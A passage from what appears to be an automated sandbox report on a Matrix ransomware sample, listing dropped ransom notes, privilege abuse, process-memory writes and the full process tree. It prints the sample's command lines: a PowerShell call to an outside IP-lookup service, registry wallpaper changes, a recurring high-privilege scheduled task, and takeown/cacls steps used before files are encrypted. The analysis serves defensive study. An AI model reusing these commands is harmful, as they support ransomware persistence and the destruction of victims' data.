(read-only) \??\M: MDdnjdT464.exe File opened (read-only) \??\R: MDdnjdT464.exe File opened (read-only) \??\S: MDdnjdT464.exe File opened (read-only) \??\Z: MDdnjdT464.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 8 myexternalip.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\Nwct8QPI.bmp" reg.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\Words.pdf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\feature.properties 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\Beulah 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jre7\lib\jsse.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\main.css 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Maceio 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\mix.gif 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Vancouver 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\ssvagent.exe 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\dblook 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Faroe 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.commands.nl_ja_4.4.0.v20140623020002.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-2 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Honolulu 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Simferopol 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Microsoft Games\Multiplayer\Backgammon\es-ES\bckgRes.dll.mui 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\3RDPARTY 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\feature.properties 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\US_export_policy.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.36.71\GoogleUpdate.exe 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\feature.properties 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Cordoba 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring.xml 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Microsoft Games\Multiplayer\Backgammon\en-US\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Hermosillo 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Sakhalin 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\StartDisconnect.7z 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.natives.nl_zh_4.4.0.v20140623020002.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.xml 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as90.xsl 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\feature.xml 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jre7\bin\java.exe 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Microsoft Games\Mahjong\de-DE\Mahjong.exe.mui 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Locales\es-419.pak 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-print.xml 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\art\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-5 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-javahelp_ja.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-plaf_zh_CN.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-api_ja.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Microsoft Games\Purble Place\fr-FR\PurblePlace.exe.mui 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\AppConfig.zip 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\icudtl.dat 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Google\Chrome\Application\89.0.4389.114\Locales\mr.pak 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository.nl_ja_4.4.0.v20140623020002.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.updatechecker_1.1.200.v20131119-0908.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.servlet_8.1.14.v20131031.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-coredump.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Efate 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\about.html 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-api_ja.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt.nl_zh_4.4.0.v20140623020002.jar 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\THIRDPARTYLICENSEREADME-JAVAFX.txt 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\Form.zip 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\#FOX_README#.rtf 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Danmarkshavn 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1392 schtasks.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2016 vssadmin.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1652 powershell.exe 1632 MDdnjdT464.exe 1632 MDdnjdT464.exe 1632 MDdnjdT464.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 1632 MDdnjdT464.exe -
Suspicious use of AdjustPrivilegeToken 37 IoCs
description pid Process Token: SeDebugPrivilege 1652 powershell.exe Token: SeDebugPrivilege 1632 MDdnjdT464.exe Token: SeLoadDriverPrivilege 1632 MDdnjdT464.exe Token: SeTakeOwnershipPrivilege 108 takeown.exe Token: SeTakeOwnershipPrivilege 1652 takeown.exe Token: SeTakeOwnershipPrivilege 576 takeown.exe Token: SeTakeOwnershipPrivilege 1756 takeown.exe Token: SeTakeOwnershipPrivilege 1820 takeown.exe Token: SeTakeOwnershipPrivilege 1904 takeown.exe Token: SeTakeOwnershipPrivilege 1332 takeown.exe Token: SeTakeOwnershipPrivilege 668 takeown.exe Token: SeBackupPrivilege 1488 vssvc.exe Token: SeRestorePrivilege 1488 vssvc.exe Token: SeAuditPrivilege 1488 vssvc.exe Token: SeTakeOwnershipPrivilege 432 takeown.exe Token: SeTakeOwnershipPrivilege 2024 takeown.exe Token: SeTakeOwnershipPrivilege 1600 takeown.exe Token: SeTakeOwnershipPrivilege 1048 takeown.exe Token: SeTakeOwnershipPrivilege 836 takeown.exe Token: SeTakeOwnershipPrivilege 1080 takeown.exe Token: SeTakeOwnershipPrivilege 1712 takeown.exe Token: SeTakeOwnershipPrivilege 1700 takeown.exe Token: SeTakeOwnershipPrivilege 2004 takeown.exe Token: SeTakeOwnershipPrivilege 1808 takeown.exe Token: SeTakeOwnershipPrivilege 268 takeown.exe Token: SeTakeOwnershipPrivilege 2008 takeown.exe Token: SeTakeOwnershipPrivilege 1492 takeown.exe Token: SeTakeOwnershipPrivilege 1040 takeown.exe Token: SeTakeOwnershipPrivilege 1636 takeown.exe Token: SeTakeOwnershipPrivilege 1180 takeown.exe Token: SeTakeOwnershipPrivilege 812 takeown.exe Token: SeTakeOwnershipPrivilege 2032 takeown.exe Token: SeTakeOwnershipPrivilege 1312 takeown.exe Token: SeTakeOwnershipPrivilege 1492 takeown.exe Token: SeTakeOwnershipPrivilege 2032 takeown.exe Token: SeTakeOwnershipPrivilege 1312 takeown.exe Token: SeTakeOwnershipPrivilege 1224 takeown.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 476 wrote to memory of 1772 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 28 PID 476 wrote to memory of 1772 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 28 PID 476 wrote to memory of 1772 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 28 PID 476 wrote to memory of 1772 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 28 PID 476 wrote to memory of 268 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 30 PID 476 wrote to memory of 268 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 30 PID 476 wrote to memory of 268 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 30 PID 476 wrote to memory of 268 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 30 PID 476 wrote to memory of 1312 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 32 PID 476 wrote to memory of 1312 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 32 PID 476 wrote to memory of 1312 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 32 PID 476 wrote to memory of 1312 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 32 PID 1312 wrote to memory of 1652 1312 cmd.exe 34 PID 1312 wrote to memory of 1652 1312 cmd.exe 34 PID 1312 wrote to memory of 1652 1312 cmd.exe 34 PID 1312 wrote to memory of 1652 1312 cmd.exe 34 PID 476 wrote to memory of 1224 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 37 PID 476 wrote to memory of 1224 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 37 PID 476 wrote to memory of 1224 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 37 PID 476 wrote to memory of 1224 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 37 PID 476 wrote to memory of 428 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 38 PID 476 wrote to memory of 428 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 38 PID 476 wrote to memory of 428 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 38 PID 476 wrote to memory of 428 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 38 PID 1224 wrote to memory of 432 1224 cmd.exe 41 PID 1224 wrote to memory of 432 1224 cmd.exe 41 PID 1224 wrote to memory of 432 1224 cmd.exe 41 PID 1224 wrote to memory of 432 1224 cmd.exe 41 PID 476 wrote to memory of 1788 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 43 PID 476 wrote to memory of 1788 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 43 PID 476 wrote to memory of 1788 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 43 PID 476 wrote to memory of 1788 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 43 PID 1788 wrote to memory of 1492 1788 cmd.exe 45 PID 1788 wrote to memory of 1492 1788 cmd.exe 45 PID 1788 wrote to memory of 1492 1788 cmd.exe 45 PID 1788 wrote to memory of 1492 1788 cmd.exe 45 PID 428 wrote to memory of 1156 428 cmd.exe 42 PID 428 wrote to memory of 1156 428 cmd.exe 42 PID 428 wrote to memory of 1156 428 cmd.exe 42 PID 428 wrote to memory of 1156 428 cmd.exe 42 PID 1224 wrote to memory of 1548 1224 cmd.exe 47 PID 1224 wrote to memory of 1548 1224 cmd.exe 47 PID 1224 wrote to memory of 1548 1224 cmd.exe 47 PID 1224 wrote to memory of 1548 1224 cmd.exe 47 PID 1788 wrote to memory of 1624 1788 cmd.exe 49 PID 1788 wrote to memory of 1624 1788 cmd.exe 49 PID 1788 wrote to memory of 1624 1788 cmd.exe 49 PID 1788 wrote to memory of 1624 1788 cmd.exe 49 PID 1224 wrote to memory of 1164 1224 cmd.exe 48 PID 1224 wrote to memory of 1164 1224 cmd.exe 48 PID 1224 wrote to memory of 1164 1224 cmd.exe 48 PID 1224 wrote to memory of 1164 1224 cmd.exe 48 PID 1788 wrote to memory of 1692 1788 cmd.exe 50 PID 1788 wrote to memory of 1692 1788 cmd.exe 50 PID 1788 wrote to memory of 1692 1788 cmd.exe 50 PID 1788 wrote to memory of 1692 1788 cmd.exe 50 PID 1692 wrote to memory of 1716 1692 cmd.exe 51 PID 1692 wrote to memory of 1716 1692 cmd.exe 51 PID 1692 wrote to memory of 1716 1692 cmd.exe 51 PID 1692 wrote to memory of 1716 1692 cmd.exe 51 PID 476 wrote to memory of 860 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 52 PID 476 wrote to memory of 860 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 52 PID 476 wrote to memory of 860 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 52 PID 476 wrote to memory of 860 476 42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe 52
Processes
-
C:\Users\Admin\AppData\Local\Temp\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe"C:\Users\Admin\AppData\Local\Temp\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe"1⤵
- Matrix Ransomware
- Modifies extensions of user files
- Loads dropped DLL
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:476 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe" "C:\Users\Admin\AppData\Local\Temp\NWgCK2WM.exe"2⤵PID:1772
-
-
C:\Users\Admin\AppData\Local\Temp\NWgCK2WM.exe"C:\Users\Admin\AppData\Local\Temp\NWgCK2WM.exe" -n2⤵
- Executes dropped EXE
PID:268
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\kqmPfbMG.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1312 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1652
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Nwct8QPI.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1224 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Nwct8QPI.bmp" /f3⤵
- Sets desktop wallpaper using registry
PID:432
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵PID:1548
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵PID:1164
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\7F9fWFHi.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:428 -
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\7F9fWFHi.vbs"3⤵PID:1156
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\05ADvCxH.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵PID:1648
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\05ADvCxH.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
PID:1392
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵PID:460
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵PID:1936
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf""2⤵
- Suspicious use of WriteProcessMemory
PID:1788 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" /E /G Admin:F /C3⤵PID:1492
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"3⤵
- Modifies file permissions
PID:1624
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "SignHere.pdf" -nobanner3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "SignHere.pdf" -nobanner4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1716 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT464.exeMDdnjdT4.exe -accepteula "SignHere.pdf" -nobanner5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:1632
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf""2⤵
- Loads dropped DLL
PID:860 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf" /E /G Admin:F /C3⤵PID:1748
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf"3⤵
- Modifies file permissions
PID:964
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "StandardBusiness.pdf" -nobanner3⤵
- Loads dropped DLL
PID:1404 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "StandardBusiness.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1708
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:1924
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf""2⤵
- Loads dropped DLL
PID:760 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf" /E /G Admin:F /C3⤵PID:1312
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"3⤵PID:552
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "ENUtxt.pdf" -nobanner3⤵
- Loads dropped DLL
PID:616 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "ENUtxt.pdf" -nobanner4⤵
- Executes dropped EXE
PID:1820
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:812
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf""2⤵
- Loads dropped DLL
PID:1164 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf" /E /G Admin:F /C3⤵PID:308
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"3⤵PID:556
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner3⤵
- Loads dropped DLL
PID:268 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner4⤵
- Executes dropped EXE
PID:108
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:896
-
-
-
